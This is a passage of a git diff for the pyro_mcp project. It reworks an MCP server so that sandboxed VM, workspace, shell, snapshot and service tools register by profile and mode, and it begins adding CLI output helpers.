DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: return self._manager.run_vm( environment=environment, @@ -102,87 +576,835 @@ class Pyro: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) - def create_server(self) -> FastMCP: + def create_server( + self, + *, + profile: McpToolProfile = "workspace-core", + mode: WorkspaceUseCaseMode | None = None, + project_path: str | Path | None = None, + repo_url: str | None = None, + repo_ref: str | None = None, + no_project_source: bool = False, + ) -> FastMCP: + """Create an MCP server for one of the stable public tool profiles. + + `workspace-core` is the default stable chat-host profile in 4.x. Use + `profile="workspace-full"` only when the host truly needs the full + advanced workspace surface. By default, the server auto-detects the + nearest Git worktree root from its current working directory and uses + that source when `workspace_create` omits `seed_path`. `project_path`, + `repo_url`, and `no_project_source` override that behavior explicitly. + """ + normalized_profile = _validate_mcp_profile(profile) + normalized_mode = _validate_workspace_mode(mode) if mode is not None else None + if normalized_mode is not None and normalized_profile != "workspace-core": + raise ValueError("mode and profile are mutually exclusive") + startup_source = resolve_project_startup_source( + project_path=project_path, + repo_url=repo_url, + repo_ref=repo_ref, + no_project_source=no_project_source, + ) + enabled_tools = set( + _MODE_TOOLS[normalized_mode] + if normalized_mode is not None + else _PROFILE_TOOLS[normalized_profile] + ) server = FastMCP(name="pyro_mcp") - @server.tool() - async def vm_run( - environment: str, - command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, - network: bool = False, - ) -> dict[str, Any]: - """Create, start, execute, and clean up an ephemeral VM.""" - return self.run_in_vm( - environment=environment, - command=command, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - timeout_seconds=timeout_seconds, - ttl_seconds=ttl_seconds, - network=network, + def _enabled(tool_name: str) -> bool: + return tool_name in enabled_tools + + if _enabled("vm_run"): + + @server.tool() + async def vm_run( + environment: str, + command: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + """Create, start, execute, and clean up an ephemeral VM.""" + return self.run_in_vm( + environment=environment, + command=command, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + timeout_seconds=timeout_seconds, + ttl_seconds=ttl_seconds, + network=network, + allow_host_compat=allow_host_compat, + ) + + if _enabled("vm_list_environments"): + + @server.tool() + async def vm_list_environments() -> list[dict[str, object]]: + """List curated Linux environments and installation status.""" + return self.list_environments() + + if _enabled("vm_create"): + + @server.tool() + async def vm_create( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + """Create an ephemeral VM record with environment and resource sizing.""" + return self.create_vm( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network=network, + allow_host_compat=allow_host_compat, + ) + + if _enabled("vm_start"): + + @server.tool() + async def vm_start(vm_id: str) -> dict[str, Any]: + """Start a created VM and transition it into a command-ready state.""" + return self.start_vm(vm_id) + + if _enabled("vm_exec"): + + @server.tool() + async def vm_exec( + vm_id: str, + command: str, + timeout_seconds: int = 30, + ) -> dict[str, Any]: + """Run one non-interactive command and auto-clean the VM.""" + return self.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) + + if _enabled("vm_stop"): + + @server.tool() + async def vm_stop(vm_id: str) -> dict[str, Any]: + """Stop a running VM.""" + return self.stop_vm(vm_id) + + if _enabled("vm_delete"): + + @server.tool() + async def vm_delete(vm_id: str) -> dict[str, Any]: + """Delete a VM and its runtime artifacts.""" + return self.delete_vm(vm_id) + + if _enabled("vm_status"): + + @server.tool() + async def vm_status(vm_id: str) -> dict[str, Any]: + """Get the current state and metadata for a VM.""" + return self.status_vm(vm_id) + + if _enabled("vm_network_info"): + + @server.tool() + async def vm_network_info(vm_id: str) -> dict[str, Any]: + """Get the current network configuration assigned to a VM.""" + return self.network_info_vm(vm_id) + + if _enabled("vm_reap_expired"): + + @server.tool() + async def vm_reap_expired() -> dict[str, Any]: + """Delete VMs whose TTL has expired.""" + return self.reap_expired() + + if _enabled("workspace_create"): + workspace_create_description = _workspace_create_description( + startup_source, + mode=normalized_mode, ) - @server.tool() - async def vm_list_environments() -> list[dict[str, object]]: - """List curated Linux environments and installation status.""" - return self.list_environments() + def _create_workspace_from_server_defaults( + *, + environment: str, + vcpu_count: int, + mem_mib: int, + ttl_seconds: int, + network_policy: str, + allow_host_compat: bool, + seed_path: str | None, + secrets: list[dict[str, str]] | None, + name: str | None, + labels: dict[str, str] | None, + ) -> dict[str, Any]: + if seed_path is not None or startup_source is None: + return self.create_workspace( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=network_policy, + allow_host_compat=allow_host_compat, + seed_path=seed_path, + secrets=secrets, + name=name, + labels=labels, + ) + with materialize_project_startup_source(startup_source) as resolved_seed_path: + prepared_seed = self._manager._prepare_workspace_seed( # noqa: SLF001 + resolved_seed_path, + origin_kind=startup_source.kind, + origin_ref=startup_source.origin_ref, + ) + return self._manager.create_workspace( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=network_policy, + allow_host_compat=allow_host_compat, + secrets=secrets, + name=name, + labels=labels, + _prepared_seed=prepared_seed, + ) - @server.tool() - async def vm_create( - environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int = 600, - network: bool = False, - ) -> dict[str, Any]: - """Create an ephemeral VM record with environment and resource sizing.""" - return self.create_vm( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network=network, + if normalized_mode is not None or normalized_profile == "workspace-core": + + @server.tool(name="workspace_create", description=workspace_create_description) + async def workspace_create_core( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + seed_path: str | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> dict[str, Any]: + return _create_workspace_from_server_defaults( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=DEFAULT_WORKSPACE_NETWORK_POLICY, + allow_host_compat=allow_host_compat, + seed_path=seed_path, + secrets=None, + name=name, + labels=labels, + ) + + else: + + @server.tool(name="workspace_create", description=workspace_create_description) + async def workspace_create_full( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + seed_path: str | None = None, + secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> dict[str, Any]: + return _create_workspace_from_server_defaults( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=network_policy, + allow_host_compat=allow_host_compat, + seed_path=seed_path, + secrets=secrets, + name=name, + labels=labels, + ) + + if _enabled("workspace_list"): + + @server.tool() + async def workspace_list() -> dict[str, Any]: + """List persisted workspaces with summary metadata.""" + return self.list_workspaces() + + if _enabled("workspace_update"): + + @server.tool() + async def workspace_update( + workspace_id: str, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + """Update optional workspace name and labels.""" + return self.update_workspace( + workspace_id, + name=name, + clear_name=clear_name, + labels=labels, + clear_labels=clear_labels, + ) + + if _enabled("workspace_exec"): + if normalized_mode is not None or normalized_profile == "workspace-core": + + @server.tool( + name="workspace_exec", + description=_tool_description( + "workspace_exec", + mode=normalized_mode, + fallback="Run one command inside an existing persistent workspace.", + ), + ) + async def workspace_exec_core( + workspace_id: str, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ) -> dict[str, Any]: + return self.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + secret_env=None, + ) + + else: + + @server.tool( + name="workspace_exec", + description=_tool_description( + "workspace_exec", + mode=normalized_mode, + fallback="Run one command inside an existing persistent workspace.", + ), + ) + async def workspace_exec_full( + workspace_id: str, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + return self.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + secret_env=secret_env, + ) + + if _enabled("workspace_sync_push"): + + @server.tool() + async def workspace_sync_push( + workspace_id: str, + source_path: str, + dest: str = "/workspace", + ) -> dict[str, Any]: + """Push host content into the persistent `/workspace` of a started workspace.""" + return self.push_workspace_sync(workspace_id, source_path=source_path, dest=dest) + + if _enabled("workspace_status"): + + @server.tool() + async def workspace_status(workspace_id: str) -> dict[str, Any]: + """Inspect workspace state and latest command metadata.""" + return self.status_workspace(workspace_id) + + if _enabled("workspace_stop"): + + @server.tool() + async def workspace_stop(workspace_id: str) -> dict[str, Any]: + """Stop one persistent workspace without resetting `/workspace`.""" + return self.stop_workspace(workspace_id) + + if _enabled("workspace_start"): + + @server.tool() + async def workspace_start(workspace_id: str) -> dict[str, Any]: + """Start one stopped persistent workspace without resetting `/workspace`.""" + return self.start_workspace(workspace_id) + + if _enabled("workspace_logs"): + + @server.tool() + async def workspace_logs(workspace_id: str) -> dict[str, Any]: + """Return persisted command history for one workspace.""" + return self.logs_workspace(workspace_id) + + if _enabled("workspace_summary"): + + @server.tool( + description=_tool_description( + "workspace_summary", + mode=normalized_mode, + fallback="Summarize the current workspace session for human review.", + ) ) + async def workspace_summary(workspace_id: str) -> dict[str, Any]: + return self.summarize_workspace(workspace_id) - @server.tool() - async def vm_start(vm_id: str) -> dict[str, Any]: - """Start a created VM and transition it into a command-ready state.""" - return self.start_vm(vm_id) + if _enabled("workspace_export"): - @server.tool() - async def vm_exec(vm_id: str, command: str, timeout_seconds: int = 30) -> dict[str, Any]: - """Run one non-interactive command and auto-clean the VM.""" - return self.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) + @server.tool( + description=_tool_description( + "workspace_export", + mode=normalized_mode, + fallback="Export one file or directory from `/workspace` back to the host.", + ) + ) + async def workspace_export( + workspace_id: str, + path: str, + output_path: str, + ) -> dict[str, Any]: + return self.export_workspace(workspace_id, path, output_path=output_path) - @server.tool() - async def vm_stop(vm_id: str) -> dict[str, Any]: - """Stop a running VM.""" - return self.stop_vm(vm_id) + if _enabled("workspace_diff"): - @server.tool() - async def vm_delete(vm_id: str) -> dict[str, Any]: - """Delete a VM and its runtime artifacts.""" - return self.delete_vm(vm_id) + @server.tool() + async def workspace_diff(workspace_id: str) -> dict[str, Any]: + """Compare `/workspace` to the immutable create-time baseline.""" + return self.diff_workspace(workspace_id) - @server.tool() - async def vm_status(vm_id: str) -> dict[str, Any]: - """Get the current state and metadata for a VM.""" - return self.status_vm(vm_id) + if _enabled("workspace_file_list"): - @server.tool() - async def vm_network_info(vm_id: str) -> dict[str, Any]: - """Get the current network configuration assigned to a VM.""" - return self.network_info_vm(vm_id) + @server.tool( + description=_tool_description( + "workspace_file_list", + mode=normalized_mode, + fallback=( + "List metadata for files and directories under one " + "live workspace path." + ), + ) + ) + async def workspace_file_list( + workspace_id: str, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + return self.list_workspace_files( + workspace_id, + path=path, + recursive=recursive, + ) - @server.tool() - async def vm_reap_expired() -> dict[str, Any]: - """Delete VMs whose TTL has expired.""" - return self.reap_expired() + if _enabled("workspace_file_read"): + + @server.tool( + description=_tool_description( + "workspace_file_read", + mode=normalized_mode, + fallback="Read one regular text file from a live workspace path.", + ) + ) + async def workspace_file_read( + workspace_id: str, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + return self.read_workspace_file( + workspace_id, + path, + max_bytes=max_bytes, + ) + + if _enabled("workspace_file_write"): + + @server.tool( + description=_tool_description( + "workspace_file_write", + mode=normalized_mode, + fallback="Create or replace one regular text file under `/workspace`.", + ) + ) + async def workspace_file_write( + workspace_id: str, + path: str, + text: str, + ) -> dict[str, Any]: + return self.write_workspace_file( + workspace_id, + path, + text=text, + ) + + if _enabled("workspace_patch_apply"): + + @server.tool( + description=_tool_description( + "workspace_patch_apply", + mode=normalized_mode, + fallback="Apply a unified text patch inside one live workspace.", + ) + ) + async def workspace_patch_apply( + workspace_id: str, + patch: str, + ) -> dict[str, Any]: + return self.apply_workspace_patch( + workspace_id, + patch=patch, + ) + + if _enabled("workspace_disk_export"): + + @server.tool() + async def workspace_disk_export( + workspace_id: str, + output_path: str, + ) -> dict[str, Any]: + """Export the raw stopped workspace rootfs image to one host path.""" + return self.export_workspace_disk(workspace_id, output_path=output_path) + + if _enabled("workspace_disk_list"): + + @server.tool() + async def workspace_disk_list( + workspace_id: str, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + """Inspect one stopped workspace rootfs path without booting the guest.""" + return self.list_workspace_disk( + workspace_id, + path=path, + recursive=recursive, + ) + + if _enabled("workspace_disk_read"): + + @server.tool() + async def workspace_disk_read( + workspace_id: str, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + """Read one regular file from a stopped workspace rootfs offline.""" + return self.read_workspace_disk( + workspace_id, + path, + max_bytes=max_bytes, + ) + + if _enabled("snapshot_create"): + + @server.tool() + async def snapshot_create(workspace_id: str, snapshot_name: str) -> dict[str, Any]: + """Create one named workspace snapshot from the current `/workspace` tree.""" + return self.create_snapshot(workspace_id, snapshot_name) + + if _enabled("snapshot_list"): + + @server.tool() + async def snapshot_list(workspace_id: str) -> dict[str, Any]: + """List the baseline plus named snapshots for one workspace.""" + return self.list_snapshots(workspace_id) + + if _enabled("snapshot_delete"): + + @server.tool() + async def snapshot_delete(workspace_id: str, snapshot_name: str) -> dict[str, Any]: + """Delete one named snapshot from a workspace.""" + return self.delete_snapshot(workspace_id, snapshot_name) + + if _enabled("workspace_reset"): + + @server.tool() + async def workspace_reset( + workspace_id: str, + snapshot: str = "baseline", + ) -> dict[str, Any]: + """Recreate a workspace and restore `/workspace` from one snapshot.""" + return self.reset_workspace(workspace_id, snapshot=snapshot) + + if _enabled("shell_open"): + if normalized_mode == "review-eval": + + @server.tool( + description=_tool_description( + "shell_open", + mode=normalized_mode, + fallback="Open a persistent interactive shell inside one workspace.", + ) + ) + async def shell_open( + workspace_id: str, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + ) -> dict[str, Any]: + return self.open_shell( + workspace_id, + cwd=cwd, + cols=cols, + rows=rows, + secret_env=None, + ) + + else: + + @server.tool( + description=_tool_description( + "shell_open", + mode=normalized_mode, + fallback="Open a persistent interactive shell inside one workspace.", + ) + ) + async def shell_open( + workspace_id: str, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + return self.open_shell( + workspace_id, + cwd=cwd, + cols=cols, + rows=rows, + secret_env=secret_env, + ) + + if _enabled("shell_read"): + + @server.tool( + description=_tool_description( + "shell_read", + mode=normalized_mode, + fallback="Read merged PTY output from a workspace shell.", + ) + ) + async def shell_read( + workspace_id: str, + shell_id: str, + cursor: int = 0, + max_chars: int = 65536, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + return self.read_shell( + workspace_id, + shell_id, + cursor=cursor, + max_chars=max_chars, + plain=plain, + wait_for_idle_ms=wait_for_idle_ms, + ) + + if _enabled("shell_write"): + + @server.tool( + description=_tool_description( + "shell_write", + mode=normalized_mode, + fallback="Write text input to a persistent workspace shell.", + ) + ) + async def shell_write( + workspace_id: str, + shell_id: str, + input: str, + append_newline: bool = True, + ) -> dict[str, Any]: + return self.write_shell( + workspace_id, + shell_id, + input=input, + append_newline=append_newline, + ) + + if _enabled("shell_signal"): + + @server.tool( + description=_tool_description( + "shell_signal", + mode=normalized_mode, + fallback="Send a signal to the shell process group.", + ) + ) + async def shell_signal( + workspace_id: str, + shell_id: str, + signal_name: str = "INT", + ) -> dict[str, Any]: + return self.signal_shell( + workspace_id, + shell_id, + signal_name=signal_name, + ) + + if _enabled("shell_close"): + + @server.tool( + description=_tool_description( + "shell_close", + mode=normalized_mode, + fallback="Close a persistent workspace shell.", + ) + ) + async def shell_close(workspace_id: str, shell_id: str) -> dict[str, Any]: + return self.close_shell(workspace_id, shell_id) + + if _enabled("service_start"): + if normalized_mode == "cold-start": + + @server.tool( + description=_tool_description( + "service_start", + mode=normalized_mode, + fallback="Start a named long-running service inside a workspace.", + ) + ) + async def service_start( + workspace_id: str, + service_name: str, + command: str, + cwd: str = "/workspace", + ready_file: str | None = None, + ready_tcp: str | None = None, + ready_http: str | None = None, + ready_command: str | None = None, + ready_timeout_seconds: int = 30, + ready_interval_ms: int = 500, + ) -> dict[str, Any]: + readiness: dict[str, Any] | None = None + if ready_file is not None: + readiness = {"type": "file", "path": ready_file} + elif ready_tcp is not None: + readiness = {"type": "tcp", "address": ready_tcp} + elif ready_http is not None: + readiness = {"type": "http", "url": ready_http} + elif ready_command is not None: + readiness = {"type": "command", "command": ready_command} + return self.start_service( + workspace_id, + service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + secret_env=None, + published_ports=None, + ) + + else: + + @server.tool( + description=_tool_description( + "service_start", + mode=normalized_mode, + fallback="Start a named long-running service inside a workspace.", + ) + ) + async def service_start( + workspace_id: str, + service_name: str, + command: str, + cwd: str = "/workspace", + ready_file: str | None = None, + ready_tcp: str | None = None, + ready_http: str | None = None, + ready_command: str | None = None, + ready_timeout_seconds: int = 30, + ready_interval_ms: int = 500, + secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, int | None]] | None = None, + ) -> dict[str, Any]: + readiness: dict[str, Any] | None = None + if ready_file is not None: + readiness = {"type": "file", "path": ready_file} + elif ready_tcp is not None: + readiness = {"type": "tcp", "address": ready_tcp} + elif ready_http is not None: + readiness = {"type": "http", "url": ready_http} + elif ready_command is not None: + readiness = {"type": "command", "command": ready_command} + return self.start_service( + workspace_id, + service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + secret_env=secret_env, + published_ports=published_ports, + ) + + if _enabled("service_list"): + + @server.tool( + description=_tool_description( + "service_list", + mode=normalized_mode, + fallback="List named services in one workspace.", + ) + ) + async def service_list(workspace_id: str) -> dict[str, Any]: + return self.list_services(workspace_id) + + if _enabled("service_status"): + + @server.tool( + description=_tool_description( + "service_status", + mode=normalized_mode, + fallback="Inspect one named workspace service.", + ) + ) + async def service_status(workspace_id: str, service_name: str) -> dict[str, Any]: + return self.status_service(workspace_id, service_name) + + if _enabled("service_logs"): + + @server.tool( + description=_tool_description( + "service_logs", + mode=normalized_mode, + fallback="Read persisted stdout/stderr for one workspace service.", + ) + ) + async def service_logs( + workspace_id: str, + service_name: str, + tail_lines: int = 200, + all: bool = False, + ) -> dict[str, Any]: + return self.logs_service( + workspace_id, + service_name, + tail_lines=tail_lines, + all=all, + ) + + if _enabled("service_stop"): + + @server.tool( + description=_tool_description( + "service_stop", + mode=normalized_mode, + fallback="Stop one running service in a workspace.", + ) + ) + async def service_stop(workspace_id: str, service_name: str) -> dict[str, Any]: + return self.stop_service(workspace_id, service_name) + + if _enabled("workspace_delete"): + + @server.tool() + async def workspace_delete(workspace_id: str) -> dict[str, Any]: + """Delete a persistent workspace and its backing sandbox.""" + return self.delete_workspace(workspace_id) return server diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 71c13f0..79eb3a9 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -4,62 +4,2721 @@ from __future__ import annotations import argparse import json -from typing import Any +import shlex +import sys +from pathlib import Path +from textwrap import dedent +from typing import Any, cast from pyro_mcp import __version__ -from pyro_mcp.api import Pyro +from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode +from pyro_mcp.contract import PUBLIC_MCP_MODES, PUBLIC_MCP_PROFILES +from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT from pyro_mcp.demo import run_demo +from pyro_mcp.host_helpers import ( + HostDoctorEntry, + HostServerConfig, + connect_cli_host, + doctor_hosts, + print_or_write_opencode_config, + repair_host, +) from pyro_mcp.ollama_demo import DEFAULT_OLLAMA_BASE_URL, DEFAULT_OLLAMA_MODEL, run_ollama_tool_demo from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report from pyro_mcp.vm_environments import DEFAULT_CATALOG_VERSION +from pyro_mcp.vm_manager import ( + DEFAULT_MEM_MIB, + DEFAULT_SERVICE_LOG_TAIL_LINES, + DEFAULT_SERVICE_READY_INTERVAL_MS, + DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, + DEFAULT_VCPU_COUNT, + DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, + DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, + WORKSPACE_GUEST_PATH, + WORKSPACE_SHELL_SIGNAL_NAMES, +) def _print_json(payload: dict[str, Any]) -> None: print(json.dumps(payload, indent=2, sort_keys=True)) +def _print_id_only(value: object) -> None: + print(str(value), flush=True) + + +def _write_stream(text: str, *, stream: Any) -> None: + if text == "": + return + stream.write(text) + stream.flush() + + +def _print_read_content(text: str, *, content_only: bool) -> None: + _write_stream(text, stream=sys.stdout) + if not content_only and text != "" and not text.endswith("\n"): + _write_stream("\n", stream=sys.stdout) + + +def _print_run_human(payload: dict[str, Any]) -> None: + stdout = str(payload.get("stdout", "")) + stderr = str(payload.get("stderr", "")) + _write_stream(stdout, stream=sys.stdout) + _write_stream(stderr, stream=sys.stderr) + print( + "[run] " + f"environment={str(payload.get('environment', 'unknown'))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " + f"exit_code={int(payload.get('exit_code', 1))} " + f"duration_ms={int(payload.get('duration_ms', 0))}", + file=sys.stderr, + flush=True, + ) + + +def _print_phase(prefix: str, *, phase: str, **fields: object) -> None: + details = " ".join(f"{key}={value}" for key, value in fields.items()) + suffix = f" {details}" if details else "" + print(f"[{prefix}] phase={phase}{suffix}", file=sys.stderr, flush=True) + + +def _print_env_list_human(payload: dict[str, Any]) -> None: + print(f"Catalog version: {payload.get('catalog_version', 'unknown')}") + environments = payload.get("environments") + if not isinstance(environments, list) or not environments: + print("No environments found.") + return + for entry in environments: + if not isinstance(entry, dict): + continue + status = "installed" if bool(entry.get("installed")) else "not installed" + print( + f"{str(entry.get('name', 'unknown'))} [{status}] " + f"{str(entry.get('description', '')).strip()}".rstrip() + ) + + +def _print_env_detail_human(payload: dict[str, Any], *, action: str) -> None: + print(f"{action}: {str(payload.get('name', 'unknown'))}") + print(f"Version: {str(payload.get('version', 'unknown'))}") + print( + f"Distribution: {str(payload.get('distribution', 'unknown'))} " + f"{str(payload.get('distribution_version', 'unknown'))}" + ) + print(f"Installed: {'yes' if bool(payload.get('installed')) else 'no'}") + print(f"Cache dir: {str(payload.get('cache_dir', 'unknown'))}") + packages = payload.get("default_packages") + if isinstance(packages, list) and packages: + print("Default packages: " + ", ".join(str(item) for item in packages)) + description = str(payload.get("description", "")).strip() + if description != "": + print(f"Description: {description}") + if payload.get("installed"): + print(f"Install dir: {str(payload.get('install_dir', 'unknown'))}") + install_manifest = payload.get("install_manifest") + if install_manifest is not None: + print(f"Install manifest: {str(install_manifest)}") + kernel_image = payload.get("kernel_image") + if kernel_image is not None: + print(f"Kernel image: {str(kernel_image)}") + rootfs_image = payload.get("rootfs_image") + if rootfs_image is not None: + print(f"Rootfs image: {str(rootfs_image)}") + registry = payload.get("oci_registry") + repository = payload.get("oci_repository") + reference = payload.get("oci_reference") + if isinstance(registry, str) and isinstance(repository, str) and isinstance(reference, str): + print(f"OCI source: {registry}/{repository}:{reference}") + + +def _print_prune_human(payload: dict[str, Any]) -> None: + count = int(payload.get("count", 0)) + print(f"Deleted {count} cached environment entr{'y' if count == 1 else 'ies'}.") + deleted = payload.get("deleted_environment_dirs") + if isinstance(deleted, list): + for entry in deleted: + print(f"- {entry}") + + +def _print_doctor_human(payload: dict[str, Any]) -> None: + issues = payload.get("issues") + runtime_ok = bool(payload.get("runtime_ok")) + print(f"Platform: {str(payload.get('platform', 'unknown'))}") + print(f"Runtime: {'PASS' if runtime_ok else 'FAIL'}") + kvm = payload.get("kvm") + if isinstance(kvm, dict): + print( + "KVM: " + f"exists={'yes' if bool(kvm.get('exists')) else 'no'} " + f"readable={'yes' if bool(kvm.get('readable')) else 'no'} " + f"writable={'yes' if bool(kvm.get('writable')) else 'no'}" + ) + runtime = payload.get("runtime") + if isinstance(runtime, dict): + print(f"Catalog version: {str(runtime.get('catalog_version', 'unknown'))}") + print(f"Environment cache: {str(runtime.get('cache_dir', 'unknown'))}") + capabilities = runtime.get("capabilities") + if isinstance(capabilities, dict): + print( + "Capabilities: " + f"vm_boot={'yes' if bool(capabilities.get('supports_vm_boot')) else 'no'} " + f"guest_exec={'yes' if bool(capabilities.get('supports_guest_exec')) else 'no'} " + "guest_network=" + f"{'yes' if bool(capabilities.get('supports_guest_network')) else 'no'}" + ) + networking = payload.get("networking") + if isinstance(networking, dict): + print( + "Networking: " + f"tun={'yes' if bool(networking.get('tun_available')) else 'no'} " + f"ip_forward={'yes' if bool(networking.get('ip_forward_enabled')) else 'no'}" + ) + daily_loop = payload.get("daily_loop") + if isinstance(daily_loop, dict): + status = str(daily_loop.get("status", "cold")).upper() + environment = str(daily_loop.get("environment", DEFAULT_PREPARE_ENVIRONMENT)) + print(f"Daily loop: {status} ({environment})") + print( + " " + f"installed={'yes' if bool(daily_loop.get('installed')) else 'no'} " + f"network_prepared={'yes' if bool(daily_loop.get('network_prepared')) else 'no'}" + ) + prepared_at = daily_loop.get("prepared_at") + if prepared_at is not None: + print(f" prepared_at={prepared_at}") + reason = daily_loop.get("reason") + if isinstance(reason, str) and reason != "": + print(f" reason={reason}") + if str(daily_loop.get("status", "cold")) != "warm": + print(f" Run: pyro prepare {environment}") + if isinstance(issues, list) and issues: + print("Issues:") + for issue in issues: + print(f"- {issue}") + + +def _print_prepare_human(payload: dict[str, Any]) -> None: + environment = str(payload.get("environment", DEFAULT_PREPARE_ENVIRONMENT)) + status = str(payload.get("status", "cold")).upper() + print(f"Prepare: {environment}") + print(f"Daily loop: {status}") + print( + "Result: " + f"{'reused' if bool(payload.get('reused')) else 'prepared'} " + f"network_prepared={'yes' if bool(payload.get('network_prepared')) else 'no'}" + ) + print(f"Cache dir: {str(payload.get('cache_dir', 'unknown'))}") + print(f"Manifest: {str(payload.get('manifest_path', 'unknown'))}") + prepared_at = payload.get("prepared_at") + if prepared_at is not None: + print(f"Prepared at: {prepared_at}") + print(f"Duration: {int(payload.get('last_prepare_duration_ms', 0))} ms") + reason = payload.get("reason") + if isinstance(reason, str) and reason != "": + print(f"Reason: {reason}") + + +def _build_host_server_config(args: argparse.Namespace) -> HostServerConfig: + return HostServerConfig( + installed_package=bool(getattr(args, "installed_package", False)), + profile=cast(McpToolProfile, str(getattr(args, "profile", "workspace-core"))), + mode=cast(WorkspaceUseCaseMode | None, getattr(args, "mode", None)), + project_path=getattr(args, "project_path", None), + repo_url=getattr(args, "repo_url", None), + repo_ref=getattr(args, "repo_ref", None), + no_project_source=bool(getattr(args, "no_project_source", False)), + ) + + +def _print_host_connect_human(payload: dict[str, Any]) -> None: + host = str(payload.get("host", "unknown")) + server_command = payload.get("server_command") + verification_command = payload.get("verification_command") + print(f"Connected pyro to {host}.") + if isinstance(server_command, list): + print("Server command: " + shlex.join(str(item) for item in server_command)) + if isinstance(verification_command, list): + print("Verify with: " + shlex.join(str(item) for item in verification_command)) + + +def _print_host_print_config_human(payload: dict[str, Any]) -> None: + rendered_config = payload.get("rendered_config") + if isinstance(rendered_config, str): + _write_stream(rendered_config, stream=sys.stdout) + return + output_path = payload.get("output_path") + if isinstance(output_path, str): + print(f"Wrote OpenCode config to {output_path}") + + +def _print_host_repair_human(payload: dict[str, Any]) -> None: + host = str(payload.get("host", "unknown")) + if host == "opencode": + print(f"Repaired OpenCode config at {str(payload.get('config_path', 'unknown'))}.") + backup_path = payload.get("backup_path") + if isinstance(backup_path, str): + print(f"Backed up the previous config to {backup_path}.") + return + _print_host_connect_human(payload) + + +def _print_host_doctor_human(entries: list[HostDoctorEntry]) -> None: + for index, entry in enumerate(entries): + print( + f"{entry.host}: {entry.status} " + f"installed={'yes' if entry.installed else 'no'} " + f"configured={'yes' if entry.configured else 'no'}" + ) + print(f" details: {entry.details}") + print(f" repair: {entry.repair_command}") + if index != len(entries) - 1: + print() + + +def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> None: + print(f"{action} ID: {str(payload.get('workspace_id', 'unknown'))}") + name = payload.get("name") + if isinstance(name, str) and name != "": + print(f"Name: {name}") + labels = payload.get("labels") + if isinstance(labels, dict) and labels: + rendered_labels = ", ".join( + f"{str(key)}={str(value)}" for key, value in 